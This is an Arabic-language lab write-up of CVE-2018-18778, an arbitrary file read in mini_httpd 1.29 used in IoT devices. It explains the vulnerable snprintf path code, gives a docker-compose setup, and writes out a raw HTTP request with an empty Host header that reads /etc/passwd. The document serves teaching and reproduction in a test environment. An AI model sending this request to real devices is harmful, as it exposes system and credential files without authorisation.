
استغلال إثبات المفهوم لـ CVE-2018-18778: قراءة ملف تعسفية في mini_httpd 1.29 عبر رأس Host فارغ، مما يؤثر على أجهزة إنترنت الأشياء من Huawei، Zyxel، وغيرها.
Mini_httpd هو خادم HTTP مصغر، يمكنه الحفاظ على مستوى معين من الأداء (حوالي 90% من Apache) مع استهلاك موارد نظام صغيرة، لذلك يستخدم على نطاق واسع في مختلف أجهزة إنترنت الأشياء (الموجهات، المبدلات، الكاميرات، إلخ) كخادم مضمن. وقد استخدمت أجهزة من شركات مثل Huawei وZyxel وHikvision وRaspberry Pi وغيرها مكون mini_httpd.
عند تشغيل mini_httpd في وضع الاستضافة الافتراضية، يؤدي طلب المستخدم http://HOST/FILE إلى الوصول إلى ملف HOST/FILE في الدليل الحالي.
(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );
انظر إلى الكود أعلاه، التحليل كالتالي:
example.com و FILE=index.html، تكون نتيجة العبارة أعلاه example.com/index.html، ويتم قراءة الملف بشكل طبيعي.etc/passwd، تكون نتيجة العبارة أعلاه /etc/passwd.يتم التعامل مع الأخير كمسار مطلق، وبالتالي يتم قراءة /etc/passwd، مما يؤدي إلى ثغرة قراءة ملف عشوائي.
قم بتنفيذ الأمر التالي لبدء mini_httpd 1.29:
docker-compose up -d
بعد بدء البيئة، قم بزيارة http://your-ip:8080 لرؤية صفحة الويب.
أرسل الطلب مع تعيين Host فارغًا، وقيمة PATH هي المسار المطلق للملف:
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
تمت قراءة الملف بنجاح:
